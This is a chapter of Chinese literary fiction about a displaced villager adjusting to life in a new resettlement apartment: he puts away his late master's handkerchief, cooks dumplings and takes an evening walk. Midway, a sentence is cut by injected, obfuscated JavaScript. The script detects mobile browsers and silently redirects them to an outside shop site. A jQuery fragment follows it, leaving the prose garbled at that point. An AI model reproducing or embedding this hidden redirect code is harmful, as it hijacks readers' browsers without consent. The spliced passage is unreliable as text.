二零一八年春天来得比往年轻早了一些。
才过了雨水节气，塬上的风就变了味儿。不再是那种刮脸的硬风，那种从西伯利亚过来的带着沙子和冰碴的风。现在的风是软的、潮的、带着一丝说不清的甜味，像是从很远很远的南边儿飘过来的。有人说那是从长江流域飘过来的风，有人说那是从东南沿海飘过来的风，还有人说那是从海南岛飘过来的风。反正不管从哪飘过来的，这风都是暖的。
拴柱站在安置小区六号楼三单元五〇二室的阳台上，看着远处那片塬。
阳台不大，三个平米，铺着白色的瓷砖，栏杆是不锈钢的。他把一只搪瓷缸子放在阳台的水泥沿上，缸子里头泡着他从老家带来的末茶，不是茶叶，是炒焦的小米，泡在水里头有一股子淡淡的焦糊味。他喝不惯城里人喝的那种绿茶、红茶、花茶。他就爱喝这一口焦米茶。
从阳台上往下看，小区里头一派新气象。崭新的柏油马路、崭新的健身器材、崭新的花坛、崭新的树。树是前年才栽的，还没长大，手腕子粗细，头上顶着一小蓬绿叶，被风一吹，哆哆嗦嗦的，像是几个穿少了衣服的孩子。路边有几个老人，穿着崭新的运动服，全套的那种，白上衣、白裤子、白鞋子，在路边的广场上打太极拳。他们动作慢吞吞的，胳膊腿儿伸出去半天才收回来。拴柱看着他们，心里头说不清是啥滋味。
他从不跟他们一起打。他没有那种白衣服。他也做不到把胳膊腿儿伸出去半天不收回来，不是他做不到，是他不好意思。他总觉得那种慢吞吞的动作不像是在锻炼，像是在扮演一种他不懂的戏。
他已经在这个小区里住了三个月了。
三个月前，他和娘搬到了这里。搬家那天，他雇了一辆三轮车，把那张他睡了三十年的老床、那套他用了三十年的被褥、那个他从来没舍得扔的搪瓷缸子，还有墙角的那口老箱子，箱子里头装着他这辈子攒下来的全部体己，都搬了过来。搬家的时候他没有哭。姚三娘倒是哭了两声，站在他原来的院门口，拿着拐棍敲了两下门框，眼泪在眼眶里头转了两圈，没掉下来。三娘说：我大门不出、二门不迈了。村里头那点地梨园子也没了。我以后就住养老院了。
拴柱没有接话。他只是把三轮车上的东西往上又堆了堆，用绳子捆紧了。然后他上了三轮车，坐在车帮子上，回头看了一眼。
最后那一眼，他看见的是一片废墟。推土机已经把他住了半辈子的院子夷为了平地。院墙没了。枣树没了。水井被填了。老灶台被砸了。自行车被压扁了。连那道土门，那扇从来没锁过的门，也被拆下来，堆在废墟的一头，像一具被扒了皮的尸体。
他把头转了回来。
那个院子没了。他的根被拔了。现在他住在新房子里头，窗户是塑钢的，门是防盗的，墙是白的，地砖是亮的。房子比他原来的院子还大，八十平米，两室一厅，一厨一卫。可他觉着这房子小。小得让他喘不过气来。
他习惯了站在院子里往天上看。现在他站在阳台上往天上看。天还是那个天，没有变。可他知道，那不是他的天了。他原来看天的时候，天是从院子的顶上口露出来的一小块。现在他看天的时候，天是从楼顶和楼顶之间的缝隙里头露出来的一大块。天比以前大了，可他的心比以前小了。
他端起搪瓷缸子，喝了一口焦米茶。茶是温的、淡的、带着一股子炒糊了的香味。他喝着喝着，抬头看了看远处。
远处的塬上，他能看见一片模模糊糊的绿，那是秀莲的果园。果园还在。果园没有被拆。合作社的果园因为要打造"生态观光农业示范基地"，被保护了下来。秀莲和她的社员们还在那片塬上种地。只不过现在他们除了种地以外，还要接待从城里来的"游客"，那些游客穿着干干净净的运动鞋，拿着手机在果园里头拍照，拍完照买两斤苹果，然后开车走了。
拴柱在阳台上站了一会儿。风把他的头发吹乱了。他的头发已经白了一大半了，不是白，是灰白，夹着一撮撮的黑，像一蓬秋后的草。他的背驼得更厉害了，不是弯，是一种从里头往外塌陷的弧度，像是有一座山压在他的背上。
他的手伸进了怀里。
他掏出来的，是那块手帕。
师傅的手帕。他这辈子最贵重的东西。那块手帕从一九八八年师傅塞到他手心里开始，就跟着他过了三十年。它跟着他进了厂、下了岗、去了南方、回了老家、搬了新房。它在他怀里捂了三十年，味道变了一回又一回，从师傅的汗味，变成他自己的汗味，变成二蛋的汗味，最后变成了他自己的味道。纯粹的、干净的、不加任何修饰的，一个四十八岁男人的味道。
他把那块手帕展开，放在阳台的栏杆上。风一吹，手帕在阳台上飞了起来，差点被吹走，他赶紧用手按住了。
然后他做了一件事，他做了一件他三十年来从来没有想过的事：他把那块手帕包在了一块崭新的毛巾里头。
那块新毛巾是苗苗给他买的。他来新房的时候，苗苗已经住在西安了，她去年在那边参加了工作，在一所中学当语文老师。她没有回来住这个新房，可她从网上订了一套新毛巾、新被子、新枕头、新牙刷，寄到了这个新家的地址。拴柱收到包裹的时候，手在包装袋上摸了摸，摸到了一块柔软的东西。他打开包裹，看见了那些崭新的、干净的、带着机器味道的毛巾和被子。
他不舍得用。他把它们放在柜子里头，整整齐齐地码好，他知道那是好的。可他知那些东西不属于他。它们太新了、太干净了、太轻飘飘了。它们和他这个人一点都不配。
但今天，三月十八号，他记得这个日子，是他搬进新房的头一百天，他决定把那块手帕包起来。
他把师傅的手帕包在了新毛巾里头，找了个塑料袋子装好，塞在了自己新床头柜的抽屉里。
手帕包好了以后，他拍了拍那个抽屉。他在跟自己说：师傅，我对不住您。不是我把您忘了。是时候到了。三十年了。您护了我三十年。我该自己护自己了。
他拍完了抽屉，站直了腰。他的腰还是疼的，腰椎间盘突出的老毛病，不可逆。可这一回，他站得很直。
他走到厨房。厨房很小，两个平米，一只燃气灶、一只电饭煲、一只小餐桌。他不会用燃气灶，按了几次都打不着火。他也不会用电饭煲，按了好几个按钮，煮出来的米饭要么夹生要么糊锅。他这辈子做饭用的都是柴火灶。他习惯了闻柴火的味道、习惯了听柴火噼啪的响声、习惯了看火苗从柴缝里头一点一点地舔上锅底。
他在厨房里站了一会儿。然后他弯下腰，从柜子底下拿了一只电磁炉——那是秀莲送给他的。秀莲说：你用这个。插电就能用。不费事。他拿出电磁炉，插上插头，在锅里倒了半锅水。水是他从自来水龙头里接的。自来水清清亮亮的，没有井水的那股子土腥味。他把锅放到电磁炉上，拧开开关。蓝色的火苗，不是火苗，是蓝色的光，从炉底冒了出来。他吓了一跳，以为电线着火了。定睛一看，不是火，是电。电在锅底烧。他看着那蓝幽幽的光，看了好久，才回过神来。
他在锅里下了十几个饺子。饺子是二蛋昨天送来的。二蛋现在在县城开了一家小小的电商公司，雇了两个员工，专门卖运城特产。去年他挣了二十来万。二十来万，这是拴柱这辈子想都不敢想的一笔钱。二蛋送来饺子的时候还跟拴柱说：叔，您放心。我迟早给您在西安买一套房。让您和苗苗住一块儿。
拴柱笑了。他没接话。他不指望二蛋给他买房。他已经习惯了不指望任何人。
他站在厨房里，看着锅里的水从平静到冒泡、从冒泡到沸腾。饺子在滚水里头翻腾着，一会儿浮上来、一会儿沉下去。他拿了一把勺子，在锅里搅了两下。饺子是韭菜鸡蛋馅的。他说不上爱吃、也说不上不爱吃。他只是想起，在吃饺子的时候，他能想起来一些以前的事，以前每年过年，娘都给他包这种饺子。
他把饺子盛到一只粗瓷碗里头。碗是从老家带来的，碗沿上磕了一个小豁口。他把碗端到餐桌上，餐桌是一张折叠桌，四四方方的，上头铺着一块塑料桌布，那桌布也是苗苗从网上买的，印着一只大花猫。
他坐在小椅子上，这个小区统一配给的塑胶椅子，蓝色的，四条腿，端起碗，用筷子夹了一个饺子，吹了吹，塞进嘴里。
饺子是烫的、嫩的、带着一股子韭菜的辛香味。他嚼了两口，咽了下去。然后又夹了一个。再一个。
他吃着吃着，停住了。
他听见了外头的声音。
不是马路上的车声，不是楼下孩子们喊叫的声音，也不是那些打太极拳的老人们放音乐的声音。他听见的，是一种很远很远的声音，是风从塬上刮过来的声音。那声音里头夹杂着一股子说不清的味道，不知道是麦苗的甜味，还是泥土的腥味。
他放下筷子，站起身来，走到阳台上。
他趴在阳台的栏杆上，看着远处。
远处的塬上，夕阳正在落下去。太阳的边缘被塬的上沿儿切掉了一半，只剩下半个红彤彤的圆，挂在天边。光线是金色的，从塬的背后头射过来，把塬的轮廓照成了黑色的剪影。那剪影是锯齿状的，塬上的苹果树一棵一棵地排着，在夕阳底下变成了一颗一颗的小黑点。
他看着那片塬，看着那个剪影，看着那半个红彤彤的太阳。他的心里头，就平静了。
不是那种认命的平静。不是那种放弃的平静。是一种，他说不上来，像是走了一条很长很长的路，终于走到了头，然后在原地的路边坐了下来。路还在前头延伸着，可他不想走了。他就想坐在这儿，看看路，歇歇脚，吹吹风。
他的院子没了。他的井没了。他的枣树没了。他的自行车没了。他的师傅没了。他以前的那些日子，那些苦的、酸的、干的、涩的、也夹杂着那么一丁点儿甜的，日子，都没了。
可他还活着。
他的娃出息了。他的老朋友们还在。他的手还能搬东西，他的脚还能走路，他的嘴还能吃饭，他的眼还能看见那塬上的夕阳。
他还活着。这就够了。
他从口袋里摸出一根卷烟，那是二蛋留给他的，纸烟，软包的，十块钱一包。他不会抽纸烟，他抽旱烟。可他今天想试试。他点着了那根烟，吸了一口。烟是臭的、辣的、呛得他咳嗽了两声。他把烟夹在手指头中间，没再吸，只是让它在那儿烧着。
他看着那缕烟从他的手指间升腾起来，被风吹着，散开，消失在金色的夕阳里。
他低下头，看着自己的脚。脚上穿着一双崭新的塑胶拖鞋，是在新街的小超市买的，十五块钱，粉红色的。他不喜欢这个颜色，可最便宜的就只有这个颜色。
他觉得自己挺好笑的。四十八岁了，脚上穿着一双粉红色的拖鞋，站在一个新小区的阳台上，抽着一根呛死人的纸烟，看着一个他看不懂的新世界。
可这个新世界已经是他的了。
这个新世界里头，有他年轻时候想要的一切，有自来水、有电磁炉、有抽水马桶、有楼房、有暖气。可他年轻时候没有想过，得到了这一切以后，他会把什么丢掉。他不知道，如果他年轻的时候就知道了这个答案，他还会不会想要这一切。
他不知道。他也不想了。
他把那根烟在阳台的栏杆上摁灭了，火星子溅出来，烫了他的手一下。他没觉着疼。他把摁灭的烟头丢进了阳台上的垃圾桶里头。垃圾桶是新的，绿色的塑胶桶，上头印着"垃圾分类"四个字。
然后他转身，走回了屋里。
他坐在椅子上，把那碗饺子吃完了。吃完以后，他用手背抹了抹嘴。他一直这样用餐巾，不用餐巾纸，不擦嘴，就用手背抹。他的嘴唇因为常年在外头风吹日晒，已经裂了口。手背上的皮肤也裂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653779|206901||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口。两块裂着口的地方相互摩擦，发出一种沙沙的声音。
他吃了最后一个饺子，把碗放到洗碗池里头。他没有立刻洗。他打算等一会儿去楼下的健身器材那儿转一圈，这是每天固定的功课。他不健身，他只是去走两圈，看看那些老人们打太极拳，看看路边的树又长高了没有。
他穿上了那件灰色的薄棉袄，虽然天已经转暖了，可他觉着冷。他把双手插进袖筒里，走出了门。
门是防盗门，很结实。他锁了三道锁。这是他住进来以后学会的新习惯，原来那个院子里的门从来不锁，可现在这扇门必须锁。因为这扇门之外的世界，不是他的世界；这扇门之内的世界，是他仅剩的世界。
他走下了楼梯。楼梯是水泥的，每一级的高度都一样。他跟着一级一级地往下走，数着：一、二、三……十八。十八级楼梯。下楼的时间大概二十秒。
他走出了单元门。单元门是玻璃门，门框是不锈钢的。玻璃门反射着天空的光，他从玻璃门上看见了自己的影子。那影子在玻璃上是扁的、变形的、颜色发灰的。可他知道，这个影子是他。
他站在门外边的土地上，这块土地已经不是黄土了，是一块水泥地坪。他弯下腰，从水泥地上拣了一颗小石子。石子是圆的、灰的、冰凉的。他把那颗石子放在手里头，握了握。石头是硬的、冷的、没有生命的。可他知道，这颗石头一定是在某个时候、某个地方，被风吹过、被水泡过、被太阳晒过。它和这地球上所有活着的东西一样，经历了时间。
他把那颗石子放回了地上。石子落在水泥地上，发出了一声轻微的响动。然后他就走了。
他走向小区的大门。大门门口的保安认识他了。保安是个五十多岁的男人，穿着一套灰色的保安制服，手里拎着一个塑胶的保温杯。保安对他点了点头：出去转？
嗯。他应了一声。
早去早回。保安说。今天风大，别着凉。
拴柱点了点头。他走出了小区的大门。
大门外头是一条马路。马路名字他没记住，只记得路牌上写着一个他认不得的字。马路很宽，双向四车道，中间隔着一排冬青树篱笆。路上跑着各种颜色的车，红的、白的、黑的、银的。那些车子跑得很快，轰轰地响，从他身边过去的时候带起一阵风，把他的棉袄下摆吹了起来。
他站在了马路的路沿上。他没有过马路。他就站在那里，看着对面。
对面是一片正在建设的工地。工地上搭着高高的塔吊，塔吊长长的臂膀在天空中缓缓地转动。工地周围围着蓝色的铁皮围墙，围墙上贴着广告画，画上是一栋栋高楼大厦，楼底下有绿树、有花坛、有戴着领带的男士和穿着裙子的女士在散步。广告语写着："运城新城，未来已来。"
他看着那片工地，看着那高高的塔吊，看着那些广告画。他的脑子里什么也没想。他只是在看。
过了大概四分钟，他转过身，开始沿着马路往前走。
他走得很慢。不是因为累，是因为他习惯了慢。他这辈子从来没有快过，没有跑过、没有赶过、没有抢过。他就这样一步一步地走，一步一步地走，走了三十年。从十八岁走到了四十八岁。
他走到了马路的尽头。那里有一个小广场，广场中央立着一块巨石，石头上刻着八个红色的大字："改革开放，造福人民"。
他站在那块石头前头，看着那八个字。他认不全，"改革开放"他认得，"造福人民"他只认得"人"。可他知道这八个字的意思。他这辈子就是被这八个字裹着走的，改革开放让他进了城、改革开放让他下了岗、改革开放让他出了门、改革开放让他回不了家。
他不知道这八个字对他来说是好是坏。他知道的是：他的娃考上了大学，他的老朋友们还活着，他今天吃了十个饺子，他现在站着脚没有断。
这就够了。
他从那块巨石跟前走开，沿着原路往回走。走过横穿马路的时候，一辆小轿车从他面前开过，司机按了一下喇叭，喇叭声尖锐刺耳。他没有理会。他看着那辆车开过去，消失在路的转弯处。
他回到了小区门口。保安没有再说话。他走进了小区，走过了广场，走过了健身器材，走过了打太极拳的人群。他听见了扩音器里放出的音乐，是《春江花月夜》，二胡拉的。那声音缠绵悱恻，像是有一个人在很远的地方拉着一根很长很长的线，线的另一头系在他的心口上。可他没有难过。他只是听着。
他走回了六号楼。他上了楼梯，一、二、三……十七、十八。十八级楼梯。他用钥匙打开了三道锁。他推开门，走进了屋。
屋里头是静的。娘在里屋睡着，发出均匀的呼吸声。电磁炉上还放着那口锅，锅底的水渍已经干了，留下一圈白色的印子。阳台上的搪瓷缸子还在，里头还有一口焦米茶，茶已经凉了。
他把门关上。然后他站在屋子里，站在新铺的地砖上，站在六楼的高度上，站在这扇门之内。
他开口说了一句话。声音不高，像是在自言自语。没有人听见，除了他自己。
他说：日子还得过。
说完这句话，他走到阳台上。夕阳已经完全掉下去了，天边只剩下一抹暗红色的残霞。风从南边刮过来，带着一股子淡淡的甜味，从他的脸上吹过去，从他的手指缝里吹过去，从他那双粉红色的拖鞋上吹过去。
他伸出手，在空中抓了一把。
风从他的手指间穿过。他什么也没有抓住。可他知道，风还在。只要风还在刮，天就还会亮，地就还会长，人就还得活。
他把那只手收回来，放进袖筒里。然后他转过身，走回了屋。
门在他背后关上了。阳台外头，天彻底黑了。远处塬上的苹果树在夜色里变成了黑色的剪影，一棵一棵地排着，像是无数个站在原地不动的人。
（本章完）